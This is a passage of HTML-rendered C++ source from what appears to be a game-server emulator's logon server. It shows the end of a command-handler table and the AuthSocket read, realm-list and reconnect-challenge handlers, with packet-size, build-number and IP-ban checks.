    <li class="alt"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;NULL,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span class="comment">//&nbsp;20 </span><span>&nbsp;&nbsp;</span></li>
    <li class=""><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;NULL,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span class="comment">//&nbsp;21 </span><span>&nbsp;&nbsp;</span></li>
    <li class="alt"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;NULL,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span class="comment">//&nbsp;22 </span><span>&nbsp;&nbsp;</span></li>
    <li class=""><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;NULL,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span class="comment">//&nbsp;23 </span><span>&nbsp;&nbsp;</span></li>
    <li class="alt"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;NULL,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span class="comment">//&nbsp;24 </span><span>&nbsp;&nbsp;</span></li>
    <li class=""><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;NULL,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span class="comment">//&nbsp;25 </span><span>&nbsp;&nbsp;</span></li>
    <li class="alt"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;NULL,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span class="comment">//&nbsp;26 </span><span>&nbsp;&nbsp;</span></li>
    <li class=""><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;NULL,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span class="comment">//&nbsp;27 </span><span>&nbsp;&nbsp;</span></li>
    <li class="alt"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;NULL,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span class="comment">//&nbsp;28 </span><span>&nbsp;&nbsp;</span></li>
    <li class=""><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;NULL,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span class="comment">//&nbsp;29 </span><span>&nbsp;&nbsp;</span></li>
    <li class="alt"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;NULL,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span class="comment">//&nbsp;30 </span><span>&nbsp;&nbsp;</span></li>
    <li class=""><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;NULL,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span class="comment">//&nbsp;31 </span><span>&nbsp;&nbsp;</span></li>
    <li class="alt"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;NULL,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span class="comment">//&nbsp;32 </span><span>&nbsp;&nbsp;</span></li>
    <li class=""><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;NULL,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span class="comment">//&nbsp;33 </span><span>&nbsp;&nbsp;</span></li>
    <li class="alt"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;NULL,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span class="comment">//&nbsp;34 </span><span>&nbsp;&nbsp;</span></li>
    <li class=""><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;NULL,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span class="comment">//&nbsp;35 </span><span>&nbsp;&nbsp;</span></li>
    <li class="alt"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;NULL,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span class="comment">//&nbsp;36 </span><span>&nbsp;&nbsp;</span></li>
    <li class=""><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;NULL,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span class="comment">//&nbsp;37 </span><span>&nbsp;&nbsp;</span></li>
    <li class="alt"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;NULL,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span class="comment">//&nbsp;38 </span><span>&nbsp;&nbsp;</span></li>
    <li class=""><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;NULL,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span class="comment">//&nbsp;39 </span><span>&nbsp;&nbsp;</span></li>
    <li class="alt"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;NULL,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span class="comment">//&nbsp;40 </span><span>&nbsp;&nbsp;</span></li>
    <li class=""><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;NULL,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span class="comment">//&nbsp;41 </span><span>&nbsp;&nbsp;</span></li>
    <li class="alt"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;NULL,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span class="comment">//&nbsp;42 </span><span>&nbsp;&nbsp;</span></li>
    <li class=""><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;NULL,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span class="comment">//&nbsp;43 </span><span>&nbsp;&nbsp;</span></li>
    <li class="alt"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;NULL,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span class="comment">//&nbsp;44 </span><span>&nbsp;&nbsp;</span></li>
    <li class=""><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;NULL,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span class="comment">//&nbsp;45 </span><span>&nbsp;&nbsp;</span></li>
    <li class="alt"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;NULL,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span class="comment">//&nbsp;46 </span><span>&nbsp;&nbsp;</span></li>
    <li class=""><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;NULL,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span class="comment">//&nbsp;47 </span><span>&nbsp;&nbsp;</span></li>
    <li class="alt"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;NULL,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span class="comment">//&nbsp;48 </span><span>&nbsp;&nbsp;</span></li>
    <li class=""><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;NULL,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span class="comment">//&nbsp;49 </span><span>&nbsp;&nbsp;</span></li>
    <li class="alt"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&amp;AuthSocket::HandleTransferAccept,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span class="comment">//&nbsp;50 </span><span>&nbsp;&nbsp;</span></li>
    <li class=""><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&amp;AuthSocket::HandleTransferResume,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span class="comment">//&nbsp;51 </span><span>&nbsp;&nbsp;</span></li>
    <li class="alt"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&amp;AuthSocket::HandleTransferCancel,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span class="comment">//&nbsp;52 </span><span>&nbsp;&nbsp;</span></li>
    <li class=""><span>}; &nbsp;&nbsp;</span></li>
    <li class="alt"><span>&nbsp;&nbsp;</span></li>
    <li class=""><span class="keyword">void</span><span>&nbsp;AuthSocket::OnRead() &nbsp;&nbsp;</span></li>
    <li class="alt"><span>{ &nbsp;&nbsp;</span></li>
    <li class=""><span>&nbsp;&nbsp;&nbsp;&nbsp;</span><span class="keyword">if</span><span>(GetReadBuffer().GetContiguiousBytes()&nbsp;&lt;&nbsp;1) &nbsp;&nbsp;</span></li>
    <li class="alt"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span class="keyword">return</span><span>; &nbsp;&nbsp;</span></li>
    <li class=""><span>&nbsp;&nbsp;</span></li>
    <li class="alt"><span>&nbsp;&nbsp;&nbsp;&nbsp;uint8&nbsp;Command&nbsp;=&nbsp;*(uint8*)GetReadBuffer().GetBufferStart(); &nbsp;&nbsp;</span></li>
    <li class=""><span>&nbsp;&nbsp;&nbsp;&nbsp;last_recv&nbsp;=&nbsp;UNIXTIME; &nbsp;&nbsp;</span></li>
    <li class="alt"><span>&nbsp;&nbsp;&nbsp;&nbsp;</span><span class="keyword">if</span><span>(Command&nbsp;&lt;&nbsp;MAX_AUTH_CMD&nbsp;&amp;&amp;&nbsp;Handlers[Command]&nbsp;!=&nbsp;NULL) &nbsp;&nbsp;</span></li>
    <li class=""><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;(</span><span class="keyword">this</span><span>-&gt;*Handlers[Command])(); &nbsp;&nbsp;</span></li>
    <li class="alt"><span>&nbsp;&nbsp;&nbsp;&nbsp;</span><span class="keyword">else</span><span>&nbsp;&nbsp;</span></li>
    <li class=""><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Log.Debug(</span><span class="string">&quot;AuthSocket&quot;</span><span>,&nbsp;</span><span class="string">&quot;Unknown&nbsp;cmd&nbsp;%u&quot;</span><span>,&nbsp;Command); &nbsp;&nbsp;</span></li>
    <li class="alt"><span>} &nbsp;&nbsp;</span></li>
    <li class=""><span>&nbsp;&nbsp;</span></li>
    <li class="alt"><span class="keyword">void</span><span>&nbsp;AuthSocket::HandleRealmlist() &nbsp;&nbsp;</span></li>
    <li class=""><span>{ &nbsp;&nbsp;</span></li>
    <li class="alt"><span>&nbsp;&nbsp;&nbsp;&nbsp;sInfoCore.SendRealms(</span><span class="keyword">this</span><span>); &nbsp;&nbsp;</span></li>
    <li class=""><span>} &nbsp;&nbsp;</span></li>
    <li class="alt"><span>&nbsp;&nbsp;</span></li>
    <li class=""><span class="keyword">void</span><span>&nbsp;AuthSocket::HandleReconnectChallenge() &nbsp;&nbsp;</span></li>
    <li class="alt"><span>{ &nbsp;&nbsp;</span></li>
    <li class=""><span>&nbsp;&nbsp;&nbsp;&nbsp;</span><span class="comment">//&nbsp;No&nbsp;header </span><span>&nbsp;&nbsp;</span></li>
    <li class="alt"><span>&nbsp;&nbsp;&nbsp;&nbsp;</span><span class="keyword">if</span><span>(GetReadBuffer().GetContiguiousBytes()&nbsp;&lt;&nbsp;4) &nbsp;&nbsp;</span></li>
    <li class=""><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span class="keyword">return</span><span>; &nbsp;&nbsp;</span></li>
    <li class="alt"><span>&nbsp;&nbsp;</span></li>
    <li class=""><span>&nbsp;&nbsp;&nbsp;&nbsp;</span><span class="comment">//&nbsp;Check&nbsp;the&nbsp;rest&nbsp;of&nbsp;the&nbsp;packet&nbsp;is&nbsp;complete. </span><span>&nbsp;&nbsp;</span></li>
    <li class="alt"><span>&nbsp;&nbsp;&nbsp;&nbsp;uint8&nbsp;*&nbsp;ReceiveBuffer&nbsp;=&nbsp;</span><span class="comment">/*GetReadBuffer(0)*/</span><span>(uint8*)GetReadBuffer().GetBufferStart(); &nbsp;&nbsp;</span></li>
    <li class=""><span>&nbsp;&nbsp;&nbsp;&nbsp;uint16&nbsp;full_size&nbsp;=&nbsp;*(uint16*)&amp;ReceiveBuffer[2]; &nbsp;&nbsp;</span></li>
    <li class="alt"><span>&nbsp;&nbsp;&nbsp;&nbsp;sLog.outDetail(</span><span class="string">&quot;[AuthChallenge]&nbsp;got&nbsp;header,&nbsp;body&nbsp;is&nbsp;0x%02X&nbsp;bytes&quot;</span><span>,&nbsp;full_size); &nbsp;&nbsp;</span></li>
    <li class=""><span>&nbsp;&nbsp;</span></li>
    <li class="alt"><span>&nbsp;&nbsp;&nbsp;&nbsp;</span><span class="keyword">if</span><span>(GetReadBuffer().GetSize()&nbsp;&lt;&nbsp;(uint32)full_size+4) &nbsp;&nbsp;</span></li>
    <li class=""><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span class="keyword">return</span><span>; &nbsp;&nbsp;</span></li>
    <li class="alt"><span>&nbsp;&nbsp;</span></li>
    <li class=""><span>&nbsp;&nbsp;&nbsp;&nbsp;</span><span class="comment">//&nbsp;Copy&nbsp;the&nbsp;data&nbsp;into&nbsp;our&nbsp;cached&nbsp;challenge&nbsp;structure </span><span>&nbsp;&nbsp;</span></li>
    <li class="alt"><span>&nbsp;&nbsp;&nbsp;&nbsp;</span><span class="keyword">if</span><span>((</span><span class="datatypes">size_t</span><span>)(full_size+4)&nbsp;&gt;&nbsp;</span><span class="keyword">sizeof</span><span>(sAuthLogonChallenge_C)) &nbsp;&nbsp;</span></li>
    <li class=""><span>&nbsp;&nbsp;&nbsp;&nbsp;{ &nbsp;&nbsp;</span></li>
    <li class="alt"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Disconnect(); &nbsp;&nbsp;</span></li>
    <li class=""><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span class="keyword">return</span><span>; &nbsp;&nbsp;</span></li>
    <li class="alt"><span>&nbsp;&nbsp;&nbsp;&nbsp;} &nbsp;&nbsp;</span></li>
    <li class=""><span>&nbsp;&nbsp;</span></li>
    <li class="alt"><span>&nbsp;&nbsp;&nbsp;&nbsp;sLog.outDebug(</span><span class="string">&quot;[AuthChallenge]&nbsp;got&nbsp;full&nbsp;packet.&quot;</span><span>); &nbsp;&nbsp;</span></li>
    <li class=""><span>&nbsp;&nbsp;</span></li>
    <li class="alt"><span>&nbsp;&nbsp;&nbsp;&nbsp;memcpy(&amp;m_challenge,&nbsp;ReceiveBuffer,&nbsp;full_size&nbsp;+&nbsp;4); &nbsp;&nbsp;</span></li>
    <li class=""><span>&nbsp;&nbsp;</span></li>
    <li class="alt"><span>&nbsp;&nbsp;&nbsp;&nbsp;</span><span class="comment">//RemoveReadBufferBytes(full_size&nbsp;+&nbsp;4,&nbsp;false); </span><span>&nbsp;&nbsp;</span></li>
    <li class=""><span>&nbsp;&nbsp;&nbsp;&nbsp;GetReadBuffer().Read(&amp;m_challenge,&nbsp;full_size&nbsp;+&nbsp;4); &nbsp;&nbsp;</span></li>
    <li class="alt"><span>&nbsp;&nbsp;</span></li>
    <li class=""><span>&nbsp;&nbsp;&nbsp;&nbsp;</span><span class="comment">//&nbsp;Check&nbsp;client&nbsp;build. </span><span>&nbsp;&nbsp;</span></li>
    <li class="alt"><span>&nbsp;&nbsp;&nbsp;&nbsp;</span><span class="keyword">if</span><span>(m_challenge.build&nbsp;&gt;&nbsp;LogonServer::getSingleton().max_build&nbsp;|| &nbsp;&nbsp;</span></li>
    <li class=""><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;m_challenge.build&nbsp;&lt;&nbsp;LogonServer::getSingleton().min_build) &nbsp;&nbsp;</span></li>
    <li class="alt"><span>&nbsp;&nbsp;&nbsp;&nbsp;{ &nbsp;&nbsp;</span></li>
    <li class=""><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;SendChallengeError(CE_WRONG_BUILD_NUMBER); &nbsp;&nbsp;</span></li>
    <li class="alt"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span class="keyword">return</span><span>; &nbsp;&nbsp;</span></li>
    <li class=""><span>&nbsp;&nbsp;&nbsp;&nbsp;} &nbsp;&nbsp;</span></li>
    <li class="alt"><span>&nbsp;&nbsp;</span></li>
    <li class=""><span>&nbsp;&nbsp;&nbsp;&nbsp;</span><span class="comment">//&nbsp;Check&nbsp;for&nbsp;a&nbsp;possible&nbsp;IP&nbsp;ban&nbsp;on&nbsp;this&nbsp;client. </span><span>&nbsp;&nbsp;</span></li>
    <li class="alt"><span>&nbsp;&nbsp;&nbsp;&nbsp;BAN_STATUS&nbsp;ipb&nbsp;=&nbsp;IPBanner::getSingleton().CalculateBanStatus(GetRemoteAddress()); &nbsp;&nbsp;</span></li>
    <li class=""><span>&nbsp;&nbsp;</span></li>
    <li class="alt"><span>&nbsp;&nbsp;&nbsp;&nbsp;</span><span class="keyword">switch</span><span>(ipb) &nbsp;&nbsp;</span></li>
    <li class=""><span>&nbsp;&nbsp;&nbsp;&nbsp;{ &nbsp;&nbsp;</span></li>
    <li class="alt"><span>&nbsp;&nbsp;&nbsp;&nbsp;</span><span class="keyword">case</span><span>&nbsp;BAN_STATUS_PERMANENT_BAN: &nbsp;&nbsp;</span></li>
    <li class=""><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;SendChallengeError(CE_ACCOUNT_CLOSED); &nbsp;&nbsp;</span></li>
    <li class="alt"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span class="keyword">return</span><span>; &nbsp;&nbsp;</span></li>
    <li class=""><span>&nbsp;&nbsp;</span></li>
    <li class="alt"><span>&nbsp;&nbsp;&nbsp;&nbsp;</span><span class="keyword">case</span><span>&nbsp;BAN_STATUS_TIME_LEFT_ON_BAN: &nbsp;&nbsp;</span></li>
